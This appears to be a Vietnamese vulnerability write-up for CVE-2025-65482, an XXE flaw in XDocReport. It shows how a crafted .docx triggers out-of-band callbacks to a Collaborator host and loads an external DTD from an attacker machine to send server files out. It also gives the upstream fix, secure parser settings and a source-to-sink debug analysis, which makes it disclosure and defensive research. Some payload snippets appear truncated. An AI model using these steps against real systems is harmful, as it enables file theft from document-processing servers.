Share
## https://sploitus.com/exploit?id=1DEE2CC8-6E5E-5395-97DF-E9651F50787C
# CVE-2025-65482 (XXE)

# XML External Entity Injection (XXE) in XDocReport

## Bug Definition

XML External Entity Injection

Tổng quan về lỗ hổng

- XML External Entity Injection (XXE) là một lỗ hổng trong việc xử lý dữ liệu định dạng XML, người dùng tiến hành chèn dữ liệu XML có tham chiếu đến một tập tin hoặc hệ thống bên ngoài. Kẻ tấn công có thể sử dụng lỗ hổng XXE được xác định này để quét các hệ thống khác nhằm tìm các cổng dịch vụ đang mở, yêu cầu các tệp bí mật và truy cập chức năng của các hệ thống được kết nối mà nếu không sẽ không có sẵn. Từ đây, kẻ tấn công có thể trích xuất dữ liệu, tương tác với các hệ thống và gây ra gián đoạn dịch vụ thông qua việc chèn XML.

Ảnh hưởng kinh doanh

- XXE có thể dẫn đến thiệt hại về uy tín cho doanh nghiệp do người dùng mất niềm tin và sự tin tưởng. Nó cũng có thể dẫn đến hành vi trộm cắp dữ liệu và tổn thất tài chính gián tiếp cho doanh nghiệp thông qua chi phí thông báo, khắc phục và dữ liệu PII bị vi phạm.

## Severity HIGH

![image](https://hackmd.io/_uploads/rks5pUXJZx.png)

## Description and Impact

Trang web quản lý nhân sự cho phép người dùng upload tệp tài liệu `.docx` lên hệ thống. Trong quá trình xử lý, ứng dụng sử dụng thư viện `fr.opensagres.xdocreport.document.docx` có chứa lỗ hổng XXE khi cho file `.docx` của người dùng qua `SAXParser`

## Affected component

fr.opensagres.xdocreport.template.docx — XDocReport (versions = ]>
&xxe;
```

![image](https://hackmd.io/_uploads/r1341WXJbg.png)

- nén lại thành file poc

```
 zip -r ../poc.docx *
```

![image](https://hackmd.io/_uploads/HkGM1-XJZe.png)

![image](https://hackmd.io/_uploads/Hypa1W7JWl.png)

- tải file docx đã chỉnh sửa lên cho qua xử lý của xdocreport

![image](https://hackmd.io/_uploads/S17s0gQyWe.png)

- Kết quả thấy có request gửi về collabrator

![image](https://hackmd.io/_uploads/HkgzxbQ1We.png)

- Nâng impact lên đọc file trong hệ thống
- host máy lưu trữ file dtd tại máy wsl `172.26.208.130`. với nội dung file vcspentest.dtd như sau:

```xml

">
%eval;
%exfil;
```

![image](https://hackmd.io/_uploads/BJ5lOH4ybl.png)

![image](https://hackmd.io/_uploads/By5rOrE1bg.png)

chỉnh sửa file `word/document.xml` trong file `.docx` với nội dung như sau để load external dtd từ máy wsl:

```xml
 %xxe;]>
```

![image](https://hackmd.io/_uploads/HyW3uHV1bl.png)

- zip file thành `.docx` và upload file lên cho server xử lý

![image](https://hackmd.io/_uploads/SyQJKHVJbg.png)

![image](https://hackmd.io/_uploads/Bk-QtHVk-e.png)

- tại máy wsl thấy có request gửi về với nội dung của file `D:/vcspentest.txt` trên server mục tiêu

![image](https://hackmd.io/_uploads/BycBFHVyZx.png)

![image](https://hackmd.io/_uploads/r1l2KH4kbg.png)

## Solution

- https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

![image](https://hackmd.io/_uploads/BJQ66rXJbx.png)

Trong đoạn mã hoặc ở tầng cấu hình XML parser, cần tắt toàn bộ các tính năng liên quan đến DTD và entity bên ngoài.

fix tương tự như code này

```java
    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "SAXParser xxe security code";
    }
```

## Thiết lập môi trường debug

![image](https://hackmd.io/_uploads/HkUB2FG0xe.png)

- tại file Main.java

```java
package org.example;

import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) {
        try {
            // Đọc file đầu vào chứa biểu thức Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // File đầu vào
            InputStream input = new FileInputStream(docxTemplate);

//             Load template sử dụng Velocity
//            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);

            // Load template sử dụng FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

            // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
            IContext context = report.createContext();

            // Xuất ra file mới
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);

            System.out.println("✅ Đã tạo file result.docx thành công.");
        } catch (Exception e) {
            System.err.println("❌ Lỗi xử lý file:");
            e.printStackTrace();
        }
    }
}
```

- Thư viện cần import

```xml


    4.0.0

    org.example
    vcs1
    1.0-SNAPSHOT

    
        18
        18
        UTF-8
    

    
        
        
            fr.opensagres.xdocreport
            fr.opensagres.xdocreport.template.freemarker
            2.1.0
        

        
            fr.opensagres.xdocreport
            fr.opensagres.xdocreport.template.velocity
            2.1.0
        

        
            fr.opensagres.xdocreport
            fr.opensagres.xdocreport.document.docx
            2.0.3
        
    

```

## Debug phân tích source sink

- đầu vào từ nội dung XML trong .docx được qua preprocess xử lý

![image](https://hackmd.io/_uploads/H1IY7MQk-g.png)

- sau đó nó được được vào xử lý bởi `SAXParser` mà không được validate đầu vào

![image](https://hackmd.io/_uploads/S15jQGX1Zg.png)

![image](https://hackmd.io/_uploads/H1QRXz7kWl.png)

![image](https://hackmd.io/_uploads/rJA14zQyWe.png)

![image](https://hackmd.io/_uploads/ByneVMQ1bx.png)

- sau đó nó vào hàm `scanDocument()` và thực hiện quét (scan) nội dung XML và phát ra các "event" (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE, v.v.)

![image](https://hackmd.io/_uploads/rJzEEGXkWx.png)

![image](https://hackmd.io/_uploads/Bk4M4MQybx.png)

![image](https://hackmd.io/_uploads/SJTBNz7yZe.png)

![image](https://hackmd.io/_uploads/rkq0EMmyZg.png)

- Kiểm tra tên entity (name = "xxe") có phải external entity không

- Nếu entity đã khai báo và là external, parser sẽ gọi logic resolve external (ví dụ startExternalEntity(...) / fEntityManager.startEntity(...)) — đây là sink: tại đây parser sẽ lấy systemId/publicId và cố gắng mở stream (có thể sinh HTTP request ra ngoài).

![image](https://hackmd.io/_uploads/SJU8BMX1bl.png)

![image](https://hackmd.io/_uploads/rJmdHzXybl.png)

![image](https://hackmd.io/_uploads/ry1KrfQJ-e.png)

- `xxe` là external entity thì startEntity(...) sẽ dẫn tới logic mở resource (ví dụ startExternalEntity(...) / mở InputStream → khả năng sinh HTTP request tới SYSTEM URL).

![image](https://hackmd.io/_uploads/BkD6Sz71Ze.png)

![image](https://hackmd.io/_uploads/ry-RBGQybx.png)

![image](https://hackmd.io/_uploads/ByNk8MXkWg.png)

- Đây là điểm parser bắt đầu xử lý entity "xxe".

![image](https://hackmd.io/_uploads/S1-zLGX1Zl.png)

![image](https://hackmd.io/_uploads/SJWQ8MXkZx.png)

![image](https://hackmd.io/_uploads/B12SIM7yWx.png)

![image](https://hackmd.io/_uploads/rJsU8fmJ-l.png)

![image](https://hackmd.io/_uploads/BycPIGXkbg.png)

![image](https://hackmd.io/_uploads/H1J5If7JWl.png)

```java
  // should we skip external entities?
        boolean external = entity.isExternal();
        Entity.ExternalEntity externalEntity = null;
        String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
        if (external) {
            externalEntity = (Entity.ExternalEntity)entity;
            extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
            extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
            expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
            boolean unparsed = entity.isUnparsed();
            boolean parameter = entityName.startsWith("%");
            boolean general = !parameter;
            if (unparsed || (general && !fExternalGeneralEntities) ||
                    (parameter && !fExternalParameterEntities) ||
                    !fSupportDTD || !fSupportExternalEntities) {

                if (fEntityHandler != null) {
                    fResourceIdentifier.clear();
                    final String encoding = null;
                    fResourceIdentifier.setValues(
                            (externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
                            extLitSysId, extBaseSysId, expandedSystemId);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.endEntity(entityName, fEntityAugs);
                }
                return;
            }
        }

```

![image](https://hackmd.io/_uploads/ryop8zm1Ze.png)

- hàm startEntity() kiểm tra nếu entity là external entity (isExternal = true), sau đó gọi:

```java
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);

```

Biến externalEntity.entityLocation chứa URL độc hại từ `DOCTYPE (SYSTEM "http://...oastify.com/").`

![image](https://hackmd.io/_uploads/Syklwz7kWl.png)

- `resolveEntityAsPerStax`, biến resourceIdentifier chứa đường dẫn tuyệt đối: `http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/
`

- hàm này sau đó chuyển resourceIdentifier sang đối tượng XMLResourceIdentifierImpl và tiếp tục mở kết nối thực tế để đọc nội dung.

![image](https://hackmd.io/_uploads/H12fwzXJ-g.png)

![image](https://hackmd.io/_uploads/Byh5PGQJZe.png)

## Tài liệu

- https://drive.google.com/drive/folders/1hUyCznpBN7ivo5krmyJ4OQc_q626Hy5q?usp=drive_link